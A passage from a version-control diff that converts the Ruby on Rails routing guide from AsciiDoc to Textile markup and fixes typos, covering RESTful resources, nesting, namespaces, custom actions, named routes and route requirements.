-GET        /photos/new     Photos      new      return an HTML form for creating a new photo
-POST       /photos         Photos      create   create a new photo
-GET        /photos/1       Photos      show     display a specific photo
-GET        /photos/1/edit  Photos      edit     return an HTML form for editing a photo
-PUT        /photos/1       Photos      update   update a specific photo
-DELETE     /photos/1       Photos      destroy  delete a specific photo
---------------------------------------------------------------------------------------------
+|_.HTTP verb|_.URL           |_.controller|_.action |_.used for|
+|GET        |/photos         |Photos      |index    |display a list of all photos|
+|GET        |/photos/new     |Photos      |new      |return an HTML form for creating a new photo|
+|POST       |/photos         |Photos      |create   |create a new photo|
+|GET        |/photos/1       |Photos      |show     |display a specific photo|
+|GET        |/photos/1/edit  |Photos      |edit     |return an HTML form for editing a photo|
+|PUT        |/photos/1       |Photos      |update   |update a specific photo|
+|DELETE     |/photos/1       |Photos      |destroy  |delete a specific photo|
 
 For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as +params[:id]+.
 
 TIP: If you consistently use RESTful routes in your application, you should disable the default routes in +routes.rb+ so that Rails will enforce the mapping between HTTP verbs and routes.
 
-=== URLs and Paths
+h4. URLs and Paths
 
 Creating a RESTful route will also make available a pile of helpers within your application:
 
@@ -162,52 +157,44 @@ NOTE: Because routing makes use of the HTTP verb as well as the path in the requ
 
 In each case, the +_url+ helper generates a string containing the entire URL that the application will understand, while the +_path+ helper generates a string containing the relative path from the root of the application. For example:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 photos_url  # => "http://www.example.com/photos"
 photos_path # => "/photos"
--------------------------------------------------------
+</ruby>
 
-=== Defining Multiple Resources at the Same Time
+h4. Defining Multiple Resources at the Same Time
 
 If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to +map.resources+:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :books, :videos
--------------------------------------------------------
+</ruby>
 
-This has exactly the same effect as 
+This has exactly the same effect as
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos
 map.resources :books
 map.resources :videos
--------------------------------------------------------
+</ruby>
 
-=== Singular Resources
+h4. Singular Resources
 
 You can also apply RESTful routing to singleton resources within your application. In this case, you use +map.resource+ instead of +map.resources+ and the route generation is slightly different. For example, a routing entry of
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resource :geocoder
--------------------------------------------------------
+</ruby>
 
 creates six different routes in your application:
 
-[grid="all"]
-`----------`---------------`-----------`--------`-------------------------------------------
-HTTP verb  URL             controller  action   used for
---------------------------------------------------------------------------------------------
-GET        /geocoder/new   Geocoders   new      return an HTML form for creating the new geocoder
-POST       /geocoder       Geocoders   create   create the new geocoder
-GET        /geocoder       Geocoders   show     display the one and only geocoder resource
-GET        /geocoder/edit  Geocoders   edit     return an HTML form for editing the geocoder
-PUT        /geocoder       Geocoders   update   update the one and only geocoder resource
-DELETE     /geocoder       Geocoders   destroy  delete the geocoder resource
---------------------------------------------------------------------------------------------
+|_.HTTP verb|_.URL           |_.controller|_.action |_.used for|
+|GET        |/geocoder/new   |Geocoders   |new      |return an HTML form for creating the new geocoder|
+|POST       |/geocoder       |Geocoders   |create   |create the new geocoder|
+|GET        |/geocoder       |Geocoders   |show     |display the one and only geocoder resource|
+|GET        |/geocoder/edit  |Geocoders   |edit     |return an HTML form for editing the geocoder|
+|PUT        |/geocoder       |Geocoders   |update   |update the one and only geocoder resource|
+|DELETE     |/geocoder       |Geocoders   |destroy  |delete the geocoder resource|
 
 NOTE: Even though the name of the resource is singular in +routes.rb+, the matching controller is still plural.
 
@@ -217,7 +204,7 @@ A singular RESTful route generates an abbreviated set of helpers:
 * +edit_geocoder_url+ and +edit_geocoder_path+ map to the path for the edit action
 * +geocoder_url+ and +geocoder_path+ map to the path for the create, show, update, and destroy actions
 
-=== Customizing Resources
+h4. Customizing Resources
 
 Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include:
 
@@ -234,204 +221,184 @@ Although the conventions of RESTful routing are likely to be sufficient for many
 
 You can also add additional routes via the +:member+ and +:collection+ options, which are discussed later in this guide.
 
-==== Using :controller
+h5. Using +:controller+
 
 The +:controller+ option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :controller => "images"
--------------------------------------------------------
+</ruby>
 
-will recognize incoming URLs containing +photo+ but route the requests to the Images controller: 
+will recognize incoming URLs containing +photo+ but route the requests to the Images controller:
 
-[grid="all"]
-`----------`---------------`-----------`--------`-------------------------------------------
-HTTP verb  URL             controller  action   used for
---------------------------------------------------------------------------------------------
-GET        /photos         Images      index    display a list of all images
-GET        /photos/new     Images      new      return an HTML form for creating a new image
-POST       /photos         Images      create   create a new image
-GET        /photos/1       Images      show     display a specific image
-GET        /photos/1/edit  Images      edit     return an HTML form for editing a image
-PUT        /photos/1       Images      update   update a specific image
-DELETE     /photos/1       Images      destroy  delete a specific image
---------------------------------------------------------------------------------------------
+|_.HTTP verb|_.URL           |_.controller|_.action |_.used for|
+|GET        |/photos         |Images      |index    |display a list of all images|
+|GET        |/photos/new     |Images      |new      |return an HTML form for creating a new image|
+|POST       |/photos         |Images      |create   |create a new image|
+|GET        |/photos/1       |Images      |show     |display a specific image|
+|GET        |/photos/1/edit  |Images      |edit     |return an HTML form for editing a image|
+|PUT        |/photos/1       |Images      |update   |update a specific image|
+|DELETE     |/photos/1       |Images      |destroy  |delete a specific image|
 
 NOTE: The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on.
 
-=== Controller Namespaces and Routing ===
+h4. Controller Namespaces and Routing
 
 Rails allows you to group your controllers into namespaces by saving them in folders underneath +app/controllers+. The +:controller+ option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the +admin+ folder:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :adminphotos, :controller => "admin/photos"
--------------------------------------------------------
+</ruby>
 
-If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the +adminphoto_path+ helper, and you follow a link generated with +<%= link_to "show", adminphoto(1) %>+ you will end up on the view generated by +admin/photos/show+ but you will also end up in the same place if you have +<%= link_to "show", {:controller => "photos", :action => "show"} %>+ because Rails will generate the show URL relative to the current URL.
+If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the +adminphoto_path+ helper, and you follow a link generated with +&lt;%= link_to "show", adminphoto(1) %&gt;+ you will end up on the view generated by +admin/photos/show+, but you will also end up in the same place if you have +&lt;%= link_to "show", {:controller => "photos", :action => "show"} %&gt;+ because Rails will generate the show URL relative to the current URL.
 
-TIP: If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: +<%= link_to "show", {:controller => "/photos", :action => "show"} %>+
+TIP: If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: +&lt;%= link_to "show", {:controller => "/photos", :action => "show"} %&gt;+
 
 You can also specify a controller namespace with the +:namespace+ option instead of a path:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :adminphotos, :namespace => "admin", :controller => "photos"
--------------------------------------------------------
+</ruby>
 
 This can be especially useful when combined with +with_options+ to map multiple namespaced routes together:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.with_options(:namespace => "admin") do |admin|
   admin.resources :photos, :videos
 end
--------------------------------------------------------
+</ruby>
 
 That would give you routing for +admin/photos+ and +admin/videos+ controllers.
 
-==== Using :singular
+h5. Using +:singular+
 
 If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the +:singular+ option:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :teeth, :singular => "tooth"
--------------------------------------------------------
+</ruby>
 
 TIP: Depending on the other code in your application, you may prefer to add additional rules to the +Inflector+ class instead.
 
-==== Using :requirements
+h5. Using +:requirements+
 
-You an use the +:requirements+ option in a RESTful route to impose a format on the implied +:id+ parameter in the singular routes. For example:
+You can use the +:requirements+ option in a RESTful route to impose a format on the implied +:id+ parameter in the singular routes. For example:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :requirements => {:id => /[A-Z][A-Z][0-9]+/}
--------------------------------------------------------
+</ruby>
 
 This declaration constrains the +:id+ parameter to match the supplied regular expression. So, in this case, +/photos/1+ would no longer be recognized by this route, but +/photos/RR27+ would.
 
-==== Using :conditions
+h5. Using +:conditions+
 
 Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.)
 
-==== Using :as
+h5. Using +:as+
 
 The +:as+ option lets you override the normal naming for the actual generated paths. For example:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :as => "images"
--------------------------------------------------------
+</ruby>
 
-will recognize incoming URLs containing +image+ but route the requests to the Photos controller: 
+will recognize incoming URLs containing +image+ but route the requests to the Photos controller:
 
-[grid="all"]
-`----------`---------------`-----------`--------`-------------------------------------------
-HTTP verb  URL             controller  action   used for
---------------------------------------------------------------------------------------------
-GET        /images         Photos      index    display a list of all photos
-GET        /images/new     Photos      new      return an HTML form for creating a new photo
-POST       /images         Photos      create   create a new photo
-GET        /images/1       Photos      show     display a specific photo
-GET        /images/1/edit  Photos      edit     return an HTML form for editing a photo
-PUT        /images/1       Photos      update   update a specific photo
-DELETE     /images/1       Photos      destroy  delete a specific photo
---------------------------------------------------------------------------------------------
+|_.HTTP verb|_.URL           |_.controller|_.action |_:used for|
+|GET        |/images         |Photos      |index    |display a list of all photos|
+|GET        |/images/new     |Photos      |new      |return an HTML form for creating a new photo|
+|POST       |/images         |Photos      |create   |create a new photo|
+|GET        |/images/1       |Photos      |show     |display a specific photo|
+|GET        |/images/1/edit  |Photos      |edit     |return an HTML form for editing a photo|
+|PUT        |/images/1       |Photos      |update   |update a specific photo|
+|DELETE     |/images/1       |Photos      |destroy  |delete a specific photo|
 
 NOTE: The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on.
 
-==== Using :path_names
+h5. Using +:path_names+
 
 The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in URLs:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :path_names => { :new => 'make', :edit => 'change' }
--------------------------------------------------------
+</ruby>
 
 This would cause the routing to recognize URLs such as
 
--------------------------------------------------------
+<pre>
 /photos/make
 /photos/1/change
--------------------------------------------------------
+</pre>
 
-NOTE: The actual action names aren't changed by this option; the two URLs show would still route to the new and edit actions.
+NOTE: The actual action names aren't changed by this option; the two URLs shown would still route to the new and edit actions.
 
 TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can set a default in your environment:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 config.action_controller.resources_path_names = { :new => 'make', :edit => 'change' }
--------------------------------------------------------
+</ruby>
 
-==== Using :path_prefix
+h5. Using +:path_prefix+
 
 The +:path_prefix+ option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :path_prefix => '/photographers/:photographer_id'
--------------------------------------------------------
+</ruby>
 
 Routes recognized by this entry would include:
 
--------------------------------------------------------
+<pre>
 /photographers/1/photos/2
 /photographers/1/photos
--------------------------------------------------------
+</pre>
 
 NOTE: In most cases, it's simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.
 
 NOTE: You can also use +:path_prefix+ with non-RESTful routes.
 
-==== Using :name_prefix
+h5. Using +:name_prefix+
 
 You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use +:path_prefix+ to map differently. For example:
 
-[source, ruby]
--------------------------------------------------------
-map.resources :photos, :path_prefix => '/photographers/:photographer_id', :name_prefix => 'photographer_'
-map.resources :photos, :path_prefix => '/agencies/:agency_id', :name_prefix => 'agency_'
--------------------------------------------------------
+<ruby>
+map.resources :photos, :path_prefix => '/photographers/:photographer_id',
+  :name_prefix => 'photographer_'
+map.resources :photos, :path_prefix => '/agencies/:agency_id',
+  :name_prefix => 'agency_'
+</ruby>
 
 This combination will give you route helpers such as +photographer_photos_path+ and +agency_edit_photo_path+ to use in your code.
 
 NOTE: You can also use +:name_prefix+ with non-RESTful routes.
 
-==== Using :only and :except
+h5. Using +:only+ and +:except+
 
 By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option specifies that only certain routes should be generated:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :only => [:index, :show]
--------------------------------------------------------
+</ruby>
 
 With this declaration, a +GET+ request to +/photos+ would succeed, but a +POST+ request to +/photos+ (which would ordinarily be routed to the create action) will fail.
 
 The +:except+ option specifies a route or list of routes that should _not_ be generated:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :except => :destroy
--------------------------------------------------------
+</ruby>
 
-In this case, all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/_id_+) will be generated.
+In this case, all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/<em>id</em>+) will be generated.
 
 In addition to an action or a list of actions, you can also supply the special symbols +:all+ or +:none+ to the +:only+ and +:except+ options.
 
-TIP: If your application has many RESTful routes, using +:only+ and +:accept+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
+TIP: If your application has many RESTful routes, using +:only+ and +:except+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
 
-=== Nested Resources
+h4. Nested Resources
 
 It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Magazine < ActiveRecord::Base
   has_many :ads
 end
@@ -439,475 +406,430 @@ end
 class Ad < ActiveRecord::Base
   belongs_to :magazine
 end
--------------------------------------------------------
+</ruby>
 
 Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :magazines do |magazine|
   magazine.resources :ads
-end 
--------------------------------------------------------
+end
+</ruby>
+
+TIP: Further below you'll learn about a convenient shortcut for this construct:<br/>+map.resources :magazines, :has_many => :ads+.
 
 In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:
 
-[grid="all"]
-`----------`-----------------------`-----------`--------`-------------------------------------------
-HTTP verb  URL                      controller  action   used for
---------------------------------------------------------------------------------------------
-GET        /magazines/1/ads         Ads         index    display a list of all ads for a specific magazine
-GET        /magazines/1/ads/new     Ads         new      return an HTML form for creating a new ad belonging to a specific magazine
-POST       /magazines/1/ads         Ads         create   create a new ad belonging to a specific magazine
-GET        /magazines/1/ads/1       Ads         show     display a specific ad belonging to a specific magazine
-GET        /magazines/1/ads/1/edit  Ads         edit     return an HTML form for editing an ad belonging to a specific magazine
-PUT        /magazines/1/ads/1       Ads         update   update a specific ad belonging to a specific magazine
-DELETE     /magazines/1/ads/1       Ads         destroy  delete a specific ad belonging to a specific magazine
---------------------------------------------------------------------------------------------
+|_.HTTP verb|_.URL                    |_.controller|_.action |_.used for|
+|GET        |/magazines/1/ads         |Ads         |index    |display a list of all ads for a specific magazine|
+|GET        |/magazines/1/ads/new     |Ads         |new      |return an HTML form for creating a new ad belonging to a specific magazine|
+|POST       |/magazines/1/ads         |Ads         |create   |create a new ad belonging to a specific magazine|
+|GET        |/magazines/1/ads/1       |Ads         |show     |display a specific ad belonging to a specific magazine|
+|GET        |/magazines/1/ads/1/edit  |Ads         |edit     |return an HTML form for editing an ad belonging to a specific magazine|
+|PUT        |/magazines/1/ads/1       |Ads         |update   |update a specific ad belonging to a specific magazine|
+|DELETE     |/magazines/1/ads/1       |Ads         |destroy  |delete a specific ad belonging to a specific magazine|
+
 
 This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+.
 
-==== Using :name_prefix
+h5. Using +:name_prefix+
 
 The +:name_prefix+ option overrides the automatically-generated prefix in nested route helpers. For example,
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :magazines do |magazine|
   magazine.resources :ads, :name_prefix => 'periodical'
-end 
--------------------------------------------------------
+end
+</ruby>
 
 This will create routing helpers such as +periodical_ads_url+ and +periodical_edit_ad_path+. You can even use +:name_prefix+ to suppress the prefix entirely:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :magazines do |magazine|
   magazine.resources :ads, :name_prefix => nil
-end 
--------------------------------------------------------
+end
+</ruby>
 
 This will create routing helpers such as +ads_url+ and +edit_ad_path+. Note that calling these will still require supplying an article id:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 ads_url(@magazine)
 edit_ad_path(@magazine, @ad)
--------------------------------------------------------
+</ruby>
 
-==== Using :has_one and :has_many
+h5. Using +:has_one+ and +:has_many+
 
 The +:has_one+ and +:has_many+ options provide a succinct notation for simple nested routes. Use +:has_one+ to nest a singleton resource, or +:has_many+ to nest a plural resource:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :has_one => :photographer, :has_many => [:publications, :versions]
--------------------------------------------------------
+</ruby>
 
 This has the same effect as this set of declarations:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos do |photo|
   photo.resource :photographer
   photo.resources :publications
   photo.resources :versions
 end
--------------------------------------------------------
- 
-==== Limits to Nesting
+</ruby>
+
+h5. Limits to Nesting
 
 You can nest resources within other nested resources if you like. For example:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :publishers do |publisher|
   publisher.resources :magazines do |magazine|
     magazine.resources :photos
   end
 end
--------------------------------------------------------
+</ruby>
 
 However, without the use of +name_prefix => nil+, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as
 
--------------------------------------------------------
+<pre>
 /publishers/1/magazines/2/photos/3
--------------------------------------------------------
+</pre>
 
-The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular link:http://weblog.jamisbuck.org/2007/2/5/nesting-resources[article] by Jamis Buck proposes a rule of thumb for good Rails design:
+The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular "article":http://weblog.jamisbuck.org/2007/2/5/nesting-resources by Jamis Buck proposes a rule of thumb for good Rails design:
 
-_Resources should never be nested more than 1 level deep._
+TIP: _Resources should never be nested more than 1 level deep._
 
-==== Shallow Nesting
+h5. Shallow Nesting
 
 The +:shallow+ option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an +:id+ parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :publishers, :shallow => true do |publisher|
   publisher.resources :magazines do |magazine|
     magazine.resources :photos
   end
 end
--------------------------------------------------------
+</ruby>
 
 This will enable recognition of (among others) these routes:
 
--------------------------------------------------------
+<pre>
 /publishers/1           ==> publisher_path(1)
 /publishers/1/magazines ==> publisher_magazines_path(1)
 /magazines/2            ==> magazine_path(2)
 /magazines/2/photos     ==> magazines_photos_path(2)
 /photos/3               ==> photo_path(3)
--------------------------------------------------------
+</pre>
 
 With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the +:has_one+ and +:has_many+ options:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :publishers, :has_many => { :magazines => :photos }, :shallow => true
--------------------------------------------------------
+</ruby>
 
-=== Route Generation from Arrays
+h4. Route Generation from Arrays
 
 In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :magazines do |magazine|
   magazine.resources :ads
 end
--------------------------------------------------------
+</ruby>
 
 Rails will generate helpers such as magazine_ad_path that you can use in building links:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 <%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
--------------------------------------------------------
+</ruby>
 
 Another way to refer to the same route is with an array of objects:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 <%= link_to "Ad details", [@magazine, @ad] %>
--------------------------------------------------------
+</ruby>
 
 This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.
- 
-=== Namespaced Resources
+
+h4. Namespaced Resources
 
 It's possible to do some quite complex things by combining +:path_prefix+ and +:name_prefix+. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :path_prefix => 'admin', :controller => 'admin/photos'
 map.resources :tags, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_tags'
 map.resources :ratings, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_ratings'
--------------------------------------------------------
+</ruby>
 
 The good news is that if you find yourself using this level of complexity, you can stop. Rails supports _namespaced resources_ to make placing resources in their own folder a snap. Here's the namespaced version of those same three routes:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.namespace(:admin) do |admin|
 	admin.resources :photos,
 	  :has_many => { :tags, :ratings}
 end
--------------------------------------------------------
+</ruby>
 
 As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you'll get +admin_photos_url+ that expects to find an +Admin::PhotosController+ and that matches +admin/photos+, and +admin_photos_ratings_path+ that matches +/admin/photos/_photo_id_/ratings+, expecting to use +Admin::RatingsController+. Even though you're not specifying +path_prefix+ explicitly, the routing code will calculate the appropriate +path_prefix+ from the route nesting.
 
-=== Adding More RESTful Actions
+h4. Adding More RESTful Actions
 
 You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).
 
-==== Adding Member Routes
+h5. Adding Member Routes
 
 To add a member route, use the +:member+ option:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :member => { :preview => :get }
--------------------------------------------------------
+</ruby>
 
 This will enable Rails to recognize URLs such as +/photos/1/preview+ using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a +preview_photo+ route helper.
 
 Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use +:get+, +:put+, +:post+, +:delete+, or +:any+ here. You can also specify an array of methods, if you need more than one but you don't want to allow just anything:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :member => { :prepare => [:get, :post] }
--------------------------------------------------------
+</ruby>
 
-==== Adding Collection Routes
+h5. Adding Collection Routes
 
 To add a collection route, use the +:collection+ option:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :collection => { :search => :get }
--------------------------------------------------------
+</ruby>
 
 This will enable Rails to recognize URLs such as +/photos/search+ using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a +search_photos+ route helper.
 
 Just as with member routes, you can specify an array of methods for a collection route:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :collection => { :search => [:get, :post] }
--------------------------------------------------------
+</ruby>
 
-==== Adding New Routes
+h5. Adding New Routes
 
 To add a new route (one that creates a new resource), use the +:new+ option:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :new => { :upload => :post }
--------------------------------------------------------
+</ruby>
 
 This will enable Rails to recognize URLs such as +/photos/upload+ using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a +upload_photos+ route helper.
 
-TIP: If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:
+TIP: If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:<br/>+map.resources :photos, :new => { :new => :any }+<br/>This will allow the new action to be invoked by any request to +photos/new+, no matter what HTTP verb you use.
 
-[source, ruby]
--------------------------------------------------------
-map.resources :photos, :new => { :new => :any }
--------------------------------------------------------
-
-This will allow the new action to be invoked by any request to +photos/new+, no matter what HTTP verb you use.
-
-==== A Note of Caution
+h5. A Note of Caution
 
 If you find yourself adding many extra actions to a RESTful route, it's time to stop and ask yourself whether you're disguising the presence of another resource that would be better split off on its own. When the +:member+ and +:collection+ hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.
 
-== Regular Routes
+h3. Regular Routes
 
 In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don't get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.
 
-While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing _when possible_, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit. 
+While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing _when possible_, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit.
 
-=== Bound Parameters
+h4. Bound Parameters
 
 When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: +:controller+ maps to the name of a controller in your application, and +:action+ maps to the name of an action within that controller. For example, consider one of the default Rails routes:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect ':controller/:action/:id'
--------------------------------------------------------
+</ruby>
 
 If an incoming request of +/photos/show/1+ is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the +show+ action of the +Photos+ controller, and to make the final parameter (1) available as +params[:id]+.
 
-=== Wildcard Components
+h4. Wildcard Components
 
 You can set up as many wildcard symbols within a regular route as you like. Anything other than +:controller+ or +:action+ will be available to the matching action as part of the params hash. So, if you set up this route:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect ':controller/:action/:id/:user_id'
--------------------------------------------------------
+</ruby>
 
 An incoming URL of +/photos/show/1/2+ will be dispatched to the +show+ action of the +Photos+ controller. +params[:id]+ will be set to 1, and +params[:user_id]+ will be set to 2.
 
-=== Static Text
+h4. Static Text
 
 You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect ':controller/:action/:id/with_user/:user_id'
--------------------------------------------------------
+</ruby>
 
 This route would respond to URLs such as +/photos/show/1/with_user/2+.
 
-=== Querystring Parameters
+h4. Querystring Parameters
 
 Rails routing automatically picks up querystring parameters and makes them available in the +params+ hash. For example, with this route:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect ':controller/:action/:id'
--------------------------------------------------------
+</ruby>
 
 An incoming URL of +/photos/show/1?user_id=2+ will be dispatched to the +show+ action of the +Photos+ controller. +params[:id]+ will be set to 1, and +params[:user_id]+ will be equal to 2.
 
-=== Defining Defaults
+h4. Defining Defaults
 
 You do not need to explicitly use the +:controller+ and +:action+ symbols within a route. You can supply defaults for these two parameters in a hash:
 
-[source, ruby]
--------------------------------------------------------
-map.connect 'photo/:id', :controller => 'photos', :action => 'show'
--------------------------------------------------------
+<ruby>
+map.connect 'photos/:id', :controller => 'photos', :action => 'show'
+</ruby>
 
 With this route, an incoming URL of +/photos/12+ would be dispatched to the +show+ action within the +Photos+ controller.
 
-You an also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:
+You can also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:
 
-[source, ruby]
--------------------------------------------------------
-map.connect 'photo/:id', :controller => 'photos', :action => 'show', :defaults => { :format => 'jpg' }
--------------------------------------------------------
+<ruby>
+map.connect 'photos/:id', :controller => 'photos', :action => 'show',
+  :defaults => { :format => 'jpg' }
+</ruby>
 
 With this route, an incoming URL of +photos/12+ would be dispatched to the +show+ action within the +Photos+ controller, and +params[:format]+ will be set to +jpg+.
 
-=== Named Routes
+h4. Named Routes
 
 Regular routes need not use the +connect+ method. You can use any other name here to create a _named route_. For example,
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.logout '/logout', :controller => 'sessions', :action => 'destroy'
--------------------------------------------------------
+</ruby>
 
 This will do two things. First, requests to +/logout+ will be sent to the +destroy+ method of the +Sessions+ controller. Second, Rails will maintain the +logout_path+ and +logout_url+ helpers for use within your code.
 
-=== Route Requirements
+h4. Route Requirements
 
 You can use the +:requirements+ option to enforce a format for any parameter in a route:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect 'photo/:id', :controller => 'photos', :action => 'show',
  :requirements => { :id => /[A-Z]\d{5}/ }
--------------------------------------------------------
+</ruby>
 
 This route would respond to URLs such as +/photo/A12345+. You can more succinctly express the same route this way:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect 'photo/:id', :controller => 'photos', :action => 'show',
-  :id => /[A-Z]\d{5}/ 
--------------------------------------------------------
+  :id => /[A-Z]\d{5}/
+</ruby>
 
-=== Route Conditions
+h4. Route Conditions
 
 Route conditions (introduced with the +:conditions+ option) are designed to implement restrictions on routes. Currently, the only supported restriction is +:method+:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect 'photo/:id', :controller => 'photos', :action => 'show',
  :conditions => { :method => :get }
--------------------------------------------------------
+</ruby>
 
